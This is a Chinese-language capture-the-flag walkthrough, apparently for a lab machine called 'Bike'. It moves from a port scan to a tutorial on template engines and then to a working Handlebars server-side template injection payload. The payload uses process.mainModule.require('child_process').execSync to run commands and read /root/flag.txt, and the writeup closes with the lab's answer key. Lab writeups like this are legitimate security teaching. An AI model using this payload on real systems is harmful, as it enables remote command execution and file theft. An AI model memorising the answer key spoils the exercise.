船到桥头自然直
信息收集
日常 A 扫描,两个端口
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Node.js (Express middleware)
|_http-title: Bike
访问 22 端口直接拒绝了我们的连接,访问 80 端口,只有一个输入框,让我们输入邮箱,随便输入,提交,会返回输入信息
可以尝试测试 XSS,但是一般的利用都是钓鱼或者点击交互窃取信息,根据返回的代码可以发现对特殊符号进行了 html实体编码
,我们在 pikachu
靶场中接触过实体编码,当时是通过 <img>
标签的 onerror
属性触发经过编码的 js
语句,这里暂时不会别的绕过方式
使用的组件,express
是一个基于 node.js
的 web 框架
又查看了源码,没发现什么特殊的地方,有什么思路呢?
本次使用模板注入进行测试
模板引擎
模板引擎是将数据变为视图的最优雅的解决方案
比如我有一组数据 data
要编写对应的 html
,正常写 html
可以通过 li
标签包裹 div
标签再嵌套三个 p
标签的方式显示数据
[
{"name":"小明","age":"12","sex":"男"},
{"name":"小红","age":"11","sex":"女"},
{"name":"小强","age":"13","sex":"男"}
]
通过模板 template
引擎(这里以mustache
为例) 能快速生成对应的 html
,{{#arr}}
代表使用对应的数组进行循环,通过双花括号引用数据
<ul>
{{#arr}}
<li>
<div class="hd">{{name}}的基本信息</div>
<div class="bd">
<p>姓名:{{name}}</p>
<p>性别:{{sex}}</p>
<p>年龄:{{age}}</p>
</div>
</li>
{{/arr}}
</ul>
通过 Mustache.render(templateStr,data)
注入数据渲染后就可以生成对应的 html
,很方便
<ul>
<li>
<div class="hd">小明的基本信息</div>
<div class="bd">
<p>姓名:小明</p>
<p>性别:男</p>
<p>年龄:12</p>
</div>
</li>
<li>
<div class="hd">小红的基本信息</div>
<div class="bd">
<p>姓名:小红</p>
<p>性别:女</p>
<p>年龄:11</p>
</div>
</li>
<li>
<div class="hd">小强的基本信息</div>
<div class="bd">
<p>姓名:小强</p>
<p>性别:男</p>
<p>年龄:13</p>
</div>
</li>
</ul>
SSIT 模板注入
如何识别后端使用了什么模板引擎呢? 可以使用一些常见的语句测试
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
如果符合该引擎的语法,则语句会被执行或者引发报错
尝试一下,第一个就报错了,这也是比较常见的一种写法 {{}}
handlebars
模板引擎是比较常用的一种,中文文档 👉Handlebars中文文档
经典的 payload
如下,通过 exec('whoami')
执行系统命令
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{#with aaaaaa}} // 定位到 aaaaaa 一般是某个数据对象里的
{{#with aaaaaa as |b|}} // 类似别名,可以通过 b.属性名调用 aaaaaa的属性
{{#with "person"}} // 一个字符串对象 就是它本身 this 指向字符串 person
{{#with "s" as |string|}} // {{string}} -> s
{{#each conslist}} // each 是遍历数组对象
这个 payload
我说实话我自己是根本写不出来的,即使看了手册也不懂,卡了很久,我突然觉得很多问题是属于船到桥头自然直的东西,没必要死抠,后面学到新知识自然会懂,所谓温故而知新,不急于一时
回到这个问题,push
和 pop
是向数组里添加删除数据,大致就是将命令执行的结果添加到数组中输出 {{this.push "return require('child_process').exec('whoami');"}}
,但是,测试的时候报错 require is not defined
因为模板引擎通常是在沙箱环境中运行(隔离环境),所以很难加载运行系统命令的模块,而上面的代码是试图将 child_process
模块加载到内存进而执行系统命令
node.js
是一种单线程的模型,使用的是全局 process
模块,所有的任务都在一个线程中进行,node
提供了child process
模块来创建子进程,从而实现多线程并行计算
我们可以尝试调用全局 process
模块,且不需使用 require
关键字,{{this.push "return process"}}
,成功返回
返回如下,一共 6 个 this
语句,每个返回一个结果,push
语句返回数组长度,pop
删除并返回数组最后一个元素,可以自行添加 push
、pop
语句尝试
e
2
[object Object]
function Function() { [native code] }
2
[object Object]
[object process]
process
有一个 mainMoudle
模块,虽然已经弃用,但是并不代表不能访问,通过它可以检索 require.main
主模块,主模块一般不会在沙箱环境中,所以也可以尝试使用 require
我们通过 mainMoudle
模块来调用 child_process
模块,因为 node
一般就是通过 child_process
模块来执行系统命令的,新构造的命令如下
{{this.push "return process.mainModule.require('child_process');"}}
这次就可以正常返回了
然后回到最开始的执行命令并返沪结果,但是使用 exec
并没有返回具体结果,而是返回 [Object Object]
,使用 execSync
才正常返回了 root
{{this.push "return
process.mainModule.require('child_process').execSync('whoami');"}}
那么接下来的流程就是看文件找 flag
了
{{this.push "return
process.mainModule.require('child_process').execSync('ls');"}}
最后在系统目录 root
下找到了 flag.txt
文件,
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return
process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
后放答案
22,80
Node.js
Express
Server Side Template Injection
Handlebars
Decoder
URL
require
global
root